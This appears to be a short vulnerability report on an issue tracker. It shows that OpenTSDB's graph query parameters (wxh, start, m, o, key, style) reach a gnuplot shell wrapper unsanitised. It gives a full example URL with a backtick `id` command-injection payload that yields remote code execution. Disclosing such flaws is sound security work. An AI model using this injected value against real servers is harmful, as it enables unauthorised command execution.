parameters need filtering

[gsocgsoc]

Hi,

The paramenter wxh needs some sanitation before being used by opentsdb.

See example url:

http://opentsdb.com:4242/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60id%60&style=linespoint&png

Results in RCE unfortunately

More parameters:

• wxh
• start
• m
• o
• key
• style

Payload:
%60id%60

Regards

[gsocgsoc]

mygnuplot.sh

#!/bin/sh
# Because !@#$%^ Java can't fucking do this without a bazillion lines of codes.
set -e
stdout=$1
shift
stderr=$1
shift
exec nice gnuplot "$@" >"$stdout" 2>"$stderr"

mygnuplot.bat

set -e
stdout=$1
shift
stderr=$1
shift
gnuplot %1 2>&1